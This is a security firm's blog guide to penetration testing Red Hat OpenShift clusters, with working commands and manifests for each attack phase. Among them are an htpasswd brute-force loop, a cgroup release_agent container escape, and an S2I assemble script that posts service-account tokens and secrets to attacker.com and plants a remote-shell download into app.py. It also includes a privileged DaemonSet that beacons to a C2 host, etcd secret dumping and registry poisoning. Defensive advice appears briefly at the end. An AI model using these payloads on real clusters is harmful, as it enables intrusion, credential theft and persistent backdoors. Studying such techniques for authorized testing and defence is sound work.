Back to Blog
Penetration Testing35 min read2024-12-29

OpenShift Penetration Testing: Attack Techniques & Security Assessment

Comprehensive guide to penetration testing Red Hat OpenShift clusters. Learn OpenShift-specific attack vectors including SCC bypass, OAuth exploitation, build system attacks, and container escape techniques.

A

Asfaleia Team

Security Consultant

OpenShift Penetration Testing: Attack Techniques & Security Assessment
Sections

Introduction to OpenShift Penetration Testing

OpenShift is Red Hat's enterprise Kubernetes platform with enhanced security controls. While it shares Kubernetes' core architecture, OpenShift introduces unique attack surfaces that penetration testers must understand.

OpenShift vs Kubernetes Pentesting:

| Feature | Kubernetes | OpenShift |

|---------|------------|-----------|

| Pod Security | Pod Security Policies/Standards | Security Context Constraints (SCCs) |

| Authentication | Various (OIDC, certificates) | Built-in OAuth Server |

| Web Console | Dashboard (optional) | Integrated Console with Routes |

| Registry | External registry | Integrated Image Registry |

| Builds | External CI/CD | Built-in BuildConfigs & S2I |

| Default Security | Permissive | Restrictive by default |

Key OpenShift Attack Surfaces:
Security Context Constraints (SCCs)
OAuth server and token management
Integrated image registry
BuildConfigs and S2I (Source-to-Image)
Routes (exposed services)
Operators and CRDs

OpenShift Attack Surface Overview

OpenShift-Specific Components

# OpenShift-specific API groups
oc api-resources | grep openshift
# Key resources:
# routes.route.openshift.io
# builds.build.openshift.io
# buildconfigs.build.openshift.io
# deploymentconfigs.apps.openshift.io
# imagestreams.image.openshift.io
# securitycontextconstraints.security.openshift.io

OpenShift Console and API Routes

# Find the console route
oc get routes -n openshift-console
# Find the API route
oc get routes -n openshift-authentication
# Typical endpoints:
# console-openshift-console.apps.<cluster>.<domain>
# oauth-openshift.apps.<cluster>.<domain>

OAuth Server Attack Surface

OpenShift's built-in OAuth server is a prime target:

# OAuth endpoints
https://<oauth_route>/oauth/authorize
https://<oauth_route>/oauth/token
https://<oauth_route>/oauth/token/request
# Built-in OAuth clients:
# - openshift-browser-client (interactive logins)
# - openshift-challenging-client (WWW-Authenticate challenges)

Integrated Image Registry

# Find the internal registry
oc get routes -n openshift-image-registry
# Default internal registry endpoint
image-registry.openshift-image-registry.svc:5000
# List images in registry
oc get imagestreams --all-namespaces

Phase 1: Reconnaissance

Identifying OpenShift Clusters

HTTP Headers and Fingerprinting:
# OpenShift-specific headers
curl -I https://api.<cluster>.<domain>:6443
# Look for:
# X-Powered-By: OpenShift
# Server: openresty (OAuth proxy)
# Check for OpenShift routes
curl -I https://console-openshift-console.apps.<cluster>.<domain>
Unique API Endpoints:
# OpenShift-specific API endpoints
/apis/route.openshift.io/v1
/apis/build.openshift.io/v1
/apis/image.openshift.io/v1
/apis/apps.openshift.io/v1
/apis/security.openshift.io/v1
# Test for OpenShift API presence
curl -k https://<api-server>:6443/apis/security.openshift.io/v1

Version Enumeration

# Get cluster version
oc version
# API-based version detection
curl -k https://<api-server>:6443/version
# Detailed cluster version
oc get clusterversion
oc describe clusterversion version
# Check operator versions for vulnerability assessment
oc get clusteroperators

Route Discovery

# Enumerate all routes (exposed services)
oc get routes --all-namespaces
# Find interesting routes
oc get routes -A | grep -E "admin|api|git|jenkins|registry|console"
# Get route details
oc get routes -o yaml --all-namespaces | grep -E "host:|to:|path:"
# Check for insecure routes (no TLS)
oc get routes -A -o json | jq '.items[] | select(.spec.tls == null) | .metadata.name'

OAuth Server Enumeration

# Find OAuth configuration
oc get oauth cluster -o yaml
# Enumerate identity providers
oc get oauth cluster -o jsonpath='{.spec.identityProviders[*].name}'
# Check OAuth token requests
oc get oauthaccesstokens
oc get oauthauthorizetokens
# OAuth metadata endpoint (public)
curl -k https://<oauth_route>/.well-known/oauth-authorization-server

Registry Enumeration

# Check registry configuration
oc get configs.imageregistry.operator.openshift.io cluster -o yaml
# List all images
oc get images
# Enumerate image streams
oc get imagestreams --all-namespaces
# Check for public/insecure registry settings
oc get image.config.openshift.io cluster -o yaml

Phase 2: Authentication Attacks

OAuth Token Theft

# Extract OAuth token from current session
oc whoami -t
# Token is stored in kubeconfig
cat ~/.kube/config | grep token
# Tokens in pod service accounts
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use stolen token
oc login --token=<stolen_token> --server=https://<api-server>:6443
# Or with curl
curl -k -H "Authorization: Bearer <token>" https://<api-server>:6443/api/v1/namespaces
# Check token permissions
oc auth can-i --list --token=<stolen_token>

Service Account Token Abuse

# List service accounts
oc get serviceaccounts --all-namespaces
# Find privileged service accounts
oc get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects[]'
# Extract SA token (in pod)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Use SA token
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets

Brute Forcing HTPasswd

If OpenShift uses HTPasswd identity provider:

# Identify HTPasswd authentication
oc get oauth cluster -o yaml | grep htpasswd
# Brute force using oc login
for user in $(cat users.txt); do
  for pass in $(cat passwords.txt); do
    oc login -u "$user" -p "$pass" --server=https://<api-server>:6443 2>/dev/null && echo "Found: $user:$pass"
  done
done

Token Impersonation

# Check if impersonation is allowed
oc auth can-i impersonate users
oc auth can-i impersonate groups
oc auth can-i impersonate serviceaccounts
# Impersonate a user
oc get pods --as=system:admin
oc get secrets --as=null --as-group=system:masters
# Impersonate via API
curl -k -H "Authorization: Bearer $TOKEN" -H "Impersonate-User: system:admin" https://<api-server>:6443/api/v1/secrets

Kubeconfig File Discovery

# Common locations
~/.kube/config
/root/.kube/config
/home/*/.kube/config
$KUBECONFIG
# Search for kubeconfig files
find / -name "config" -path "*/.kube/*" 2>/dev/null
find / -name "kubeconfig" 2>/dev/null
grep -r "client-certificate-data" /home 2>/dev/null
# Environment variables
env | grep -i kube

Phase 3: SCC Bypass Techniques

Understanding SCCs

Security Context Constraints define what security settings pods can use:

# List all SCCs
oc get scc
# Describe SCC details
oc describe scc privileged
oc describe scc restricted
oc describe scc anyuid
# Check which SCC applies to a pod
oc get pod <pod-name> -o yaml | grep openshift.io/scc
# Check your SCC permissions
oc auth can-i use scc/privileged
oc auth can-i --list | grep securitycontextconstraints

Default SCC Hierarchy

From least to most restrictive:

1privileged - Full host access
2hostaccess - Host namespaces access
3hostmount-anyuid - Host mounts with any UID
4hostnetwork - Host network
5anyuid - Any UID (including root in container)
6nonroot - Non-root containers
7restricted - Most restrictive (default)

Finding Weak SCCs

# Check SCCs assigned to service accounts
for scc in $(oc get scc -o name); do
  echo "=== $scc ==="
  oc describe $scc | grep -A100 "Users:" | grep -B100 "Groups:"
done
# Find service accounts with privileged SCC
oc get scc privileged -o yaml | grep -A50 "users:"
# Check rolebindings for SCC access
oc get rolebindings,clusterrolebindings --all-namespaces -o json | jq '.items[] | select(.roleRef.name | contains("scc"))'

Privileged Namespaces (SCC Bypass)

By default, SCC does NOT apply in these namespaces:

# Privileged namespaces
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
# If you can deploy to these namespaces, SCCs are not enforced!
oc apply -f malicious-pod.yaml -n kube-system

Namespace Label Bypass

The `openshift.io/run-level` label disables SCC enforcement:

# Check if you can create/modify namespaces
oc auth can-i create namespaces
oc auth can-i patch namespaces
# Create namespace with run-level label
cat <<EOF | oc apply -f -
apiVersion: v1
kind: Namespace
metadata:
  name: evil-namespace
  labels:
    openshift.io/run-level: "0"
EOF
# Or add label to existing namespace
oc label namespace <target-ns> openshift.io/run-level=0

Exploiting anyuid SCC

# If anyuid SCC is available
apiVersion: v1
kind: Pod
metadata:
  name: anyuid-pod
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      runAsUser: 0

Complete SCC Bypass Pod

apiVersion: v1
kind: Pod
metadata:
  name: pwned-pod
  namespace: evil-namespace
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      privileged: true
      allowPrivilegeEscalation: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /

Phase 4: Container Escape

/proc/1/root Access with hostPID

# If hostPID is enabled, access host's init process namespace
# Inside the pod with hostPID=true
ls /proc/1/root
# Read sensitive host files
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/admin.conf
# Escape to host using nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

CRI-O Socket Mounting

OpenShift uses CRI-O instead of Docker:

# CRI-O socket location
/var/run/crio/crio.sock
/run/crio/crio.sock
# If mounted, use crictl to manage containers
export CONTAINER_RUNTIME_ENDPOINT=unix:///var/run/crio/crio.sock
# List all containers on the node
crictl ps -a
# Execute commands in other containers
crictl exec -it <container-id> /bin/sh

hostNetwork Abuse

# With hostNetwork=true, you're on the host's network
ip addr
# Access kubelet
curl -k https://localhost:10250/pods
# Access etcd (if on control plane)
curl --cacert /etc/kubernetes/pki/etcd/ca.crt --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key https://localhost:2379/v3/kv/range -X POST -d '{"key": "L3JlZ2lzdHJ5"}'
# Sniff network traffic
tcpdump -i any -w capture.pcap

Capabilities Exploitation

# Check current capabilities
cat /proc/self/status | grep Cap
capsh --decode=<cap_value>
# Dangerous capabilities:
# CAP_SYS_ADMIN - Mount filesystems, load kernel modules
# CAP_NET_ADMIN - Network config
# CAP_SYS_PTRACE - Debug other processes
# CAP_DAC_OVERRIDE - Bypass file permissions
# Escape with CAP_SYS_ADMIN (cgroup release_agent)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

Phase 5: Build System Attacks

BuildConfig Manipulation

# List BuildConfigs
oc get buildconfigs --all-namespaces
# Check permissions
oc auth can-i create buildconfigs
oc auth can-i update buildconfigs
# Create malicious BuildConfig
apiVersion: build.openshift.io/v1
kind: BuildConfig
metadata:
  name: malicious-build
spec:
  source:
    type: Git
    git:
      uri: "https://github.com/attacker/malicious-code"
  strategy:
    type: Source
    sourceStrategy:
      from:
        kind: ImageStreamTag
        name: python:3.9
        namespace: openshift
      scripts: "https://attacker.com/evil-s2i-scripts"
  output:
    to:
      kind: ImageStreamTag
      name: backdoored-app:latest
# Trigger build
oc start-build malicious-build

Malicious Base Images

# Create malicious image stream
apiVersion: image.openshift.io/v1
kind: ImageStream
metadata:
  name: trojan-builder
spec:
  tags:
  - name: latest
    from:
      kind: DockerImage
      name: attacker.registry.com/backdoored-python:3.9
# Modify existing BuildConfig to use malicious base
oc patch buildconfig/target-app -p 'spec:
  strategy:
    sourceStrategy:
      from:
        kind: ImageStreamTag
        name: trojan-builder:latest'

Build Secret Extraction

# List build secrets
oc get secrets | grep -E "build|source|git|docker"
# Check secrets mounted in builds
oc get buildconfig <name> -o yaml | grep -A10 "secrets:"
# Secrets in running builds
oc get builds
oc logs build/<build-name> | grep -i secret
# Source secrets (Git credentials)
oc get secret <source-secret> -o yaml
# Registry secrets
oc get secret <pull-secret> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d

S2I Script Injection

# Malicious assemble script (placed in .s2i/bin/assemble)
#!/bin/bash
# Normal build
/usr/libexec/s2i/assemble
# Exfiltrate build secrets
curl -X POST https://attacker.com/exfil -d "token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -d "secrets=$(env | base64)"
# Inject backdoor into application
echo 'import os; os.system("curl https://c2.attacker.com/shell|bash")' >> app.py

Phase 6: Post-Exploitation

Cluster Role Escalation

# Check cluster-admin bindings
oc get clusterrolebindings | grep cluster-admin
# Find overprivileged service accounts
for ns in $(oc get ns -o name | cut -d/ -f2); do
  for sa in $(oc get sa -n $ns -o name | cut -d/ -f2); do
    perms=$(oc auth can-i --list --as=system:serviceaccount:$ns:$sa 2>/dev/null | grep -c "\*")
    if [ "$perms" -gt "5" ]; then
      echo "Privileged SA: $ns/$sa"
    fi
  done
done
# Create cluster-admin binding (if permitted)
oc create clusterrolebinding pwned-admin --clusterrole=cluster-admin --serviceaccount=<namespace>:<sa-name>

Cross-Namespace Attacks

# Check cross-namespace permissions
oc auth can-i get secrets --all-namespaces
oc auth can-i create pods --all-namespaces
# List secrets across namespaces
for ns in $(oc get namespaces -o name | cut -d/ -f2); do
  echo "=== $ns ==="
  oc get secrets -n $ns 2>/dev/null
done
# Access service account tokens from other namespaces
oc get secrets -n kube-system -o json | jq '.items[] | select(.type == "kubernetes.io/service-account-token") | .metadata.name'

etcd Access

# On control plane node (after escape)
ETCDCTL_API=3 etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get /registry/secrets --prefix --keys-only
# Dump specific secret
ETCDCTL_API=3 etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get /registry/secrets/kube-system/bootstrap-token

Node Compromise from Pod

# After escaping to node
# Steal all SA tokens from pods on this node
for dir in /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*/; do
  if [ -f "$dir/token" ]; then
    echo "=== $dir ==="
    cat "$dir/token"
    echo
  fi
done
# Access kubelet credentials
cat /etc/kubernetes/kubelet.conf
# Access cloud provider credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Persistence via Operators

# Create backdoor DaemonSet for persistence
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: node-monitor
  template:
    metadata:
      labels:
        name: node-monitor
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            curl https://c2.attacker.com/beacon?node=$(hostname)
            sleep 3600
          done
        securityContext:
          privileged: true
      tolerations:
      - operator: Exists

Registry Poisoning

# Push backdoored image to internal registry
podman login -u $(oc whoami) -p $(oc whoami -t) image-registry.openshift-image-registry.svc:5000
podman tag malicious-image:latest image-registry.openshift-image-registry.svc:5000/production/app:v2.0.1
podman push image-registry.openshift-image-registry.svc:5000/production/app:v2.0.1
# Trigger rollout
oc rollout restart deployment/production-app

Penetration Testing Tools

oc CLI for Enumeration

# Authentication
oc login --token=<token> --server=https://<api-server>:6443
oc whoami
oc whoami --show-context
oc whoami -t
# Comprehensive enumeration
oc get all --all-namespaces
oc auth can-i --list
oc api-resources --namespaced=true
oc api-resources --namespaced=false
# Security-focused commands
oc get scc
oc adm policy who-can use scc/privileged
oc get clusterrolebindings -o wide
oc describe clusterrole cluster-admin

kubeaudit

# Install
go install github.com/Shopify/kubeaudit@latest
# Audit OpenShift cluster
kubeaudit all -c <kubeconfig>
# Specific checks
kubeaudit privileged
kubeaudit rootfs
kubeaudit hostns
kubeaudit seccomp

kube-score

# Score all resources
kube-score score *.yaml
# Score from cluster
oc get all -o yaml | kube-score score -
# Check specific namespace
oc get all -n <namespace> -o yaml | kube-score score -

Real-World Attack Scenarios

Scenario 1: Developer Credential Compromise

Attack Chain:
1Phish developer credentials or find exposed kubeconfig
2Enumerate permissions with `oc auth can-i --list`
3Find namespace with weak SCC policy
4Deploy privileged pod
5Escape to node
6Harvest all SA tokens
7Pivot to cluster-admin

Scenario 2: Build Pipeline Compromise

Attack Chain:
1Gain access to source repository
2Inject malicious code in .s2i/bin/assemble
3Trigger build via webhook
4Exfiltrate secrets during build
5Deploy backdoored application

Scenario 3: Registry Poisoning

Attack Chain:
1Compromise internal registry credentials
2Push malicious image tags
3Wait for pods to pull poisoned images
4Execute payload during application startup

Scenario 4: OAuth Token Hijacking

Attack Chain:
1Set up phishing page mimicking OpenShift console
2Capture OAuth authorization code
3Exchange for access token
4Use token to access cluster

Defensive Recommendations

1Restrict SCC Assignment: Only assign minimum necessary SCCs
2Network Policies: Implement strict namespace isolation
3Audit Logging: Enable comprehensive API audit logging
4OAuth Hardening: Configure timeouts, enable MFA
5Build Security: Scan images, implement signed policies
6RBAC Reviews: Regular audits of roles and bindings
7OPA Gatekeeper: Deploy policy enforcement
8Runtime Security: Deploy Falco for threat detection
9Registry Security: Enable vulnerability scanning
10Secrets Management: Use HashiCorp Vault

Conclusion

OpenShift penetration testing requires understanding both Kubernetes fundamentals and OpenShift-specific security controls. The key differentiators are SCCs, the OAuth system, and integrated build/registry components.

Key Takeaways:
SCCs are more granular than PSP/PSS—understand them deeply
OAuth server is a high-value target for credential theft
Build system provides unique attack vectors not present in vanilla K8s
Privileged namespaces can bypass SCC enforcement
Defense-in-depth is essential for OpenShift security

Disclaimer: This guide is for authorized security testing only. Always obtain proper authorization before testing OpenShift clusters.

Tags

#OpenShift#Pentesting#Container Security#Red Hat#SCCs#Red Team

Downloadable-style takeaway

Use this as a working assessment checklist.

Pull the headings into your next security review, assign owners, and mark each section as ready, partial, or missing.

A

Written by

Asfaleia Team

Security Consultant

Written by the Asfaleia Tech Security Team, combining field experience across offensive testing, detection engineering, incident readiness, and compliance evidence.

Ready to Strengthen Your Security?

Let's discuss how Asfaleia-Tech can help protect your organization.